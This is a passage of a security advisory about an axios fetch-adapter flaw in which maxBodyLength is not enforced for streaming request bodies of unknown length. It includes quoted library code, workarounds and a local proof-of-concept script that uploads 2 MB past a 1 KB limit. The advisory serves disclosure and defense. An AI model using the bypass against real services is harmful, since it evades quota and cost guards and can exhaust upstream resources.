controller.enqueue(next);
},
});
}
try {
const response = await axios.post(
http://127.0.0.1:${port}/upload,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
}
);
console.log(response.data);
} finally {
server.close();
}
`
Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.
Workarounds
Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.
<details>
<summary>Original Report</summary>
Summary
axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.
Details
In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:
fetch.js Lines 121-155
`
const getBodyLength = async (body) => {
if (body == null) {
return 0;
}
if (utils.isBlob(body)) {
return body.size;
}
if (utils.isSpecCompliantForm(body)) {
const _request = new Request(platform.origin, {
method: 'POST',
body,
});
return (await _request.arrayBuffer()).byteLength;
}
if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
return body.byteLength;
}
if (utils.isURLSearchParams(body)) {
body = body + '';
}
if (utils.isString(body)) {
return (await encodeText(body)).byteLength;
}
};
const resolveBodyLength = async (headers, body) => {
const length = utils.toFiniteNumber(headers.getContentLength());
return length == null ? getBodyLength(body) : length;
};
`
For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:
fetch.js Lines 214-232
`
// Enforce maxBodyLength against the outbound request body before dispatch.
// Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
// maxBodyLength limit'). Skip when the body length cannot be determined
// (e.g. a live ReadableStream supplied by the caller).
if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
const outboundLength = await resolveBodyLength(headers, data);
if (
typeof outboundLength === 'number' &&
isFinite(outboundLength) &&
outboundLength > maxBodyLength
) {
throw new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
request
);
}
}
`
The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:
fetch.js Lines 253-261
`
if (_request.body) {
const [onProgress, flush] = progressEventDecorator(
requestContentLength,
progressEventReducer(asyncDecorator(onUploadProgress))
);
data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
}
`
The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.
PoC
`
import http from 'node:http';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 1024 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
req.on('error', () => {
/ swallow client-side aborts /
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeReadableStream(totalBytes) {
const CHUNK = new Uint8Array(64 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
controller.enqueue(next);
},
});
}
try {
let result;
try {
const response = await axios.post(
http://127.0.0.1:${port}/upload,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
// No content-length: the stream's total length is unknown ahead of
// dispatch, which is exactly the vulnerable code path.
}
);
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
VULNERABLE: server received ${result.data.received} bytes despite +
maxBodyLength=${LIMIT}.
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
process.exitCode = 1;
}
} finally {
server.close();
}
``
Impact
Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
Bypass of cost / quota guards on upstream APIs.
Resource exhaustion against the runtime's network stack and against upstream peers.
</details>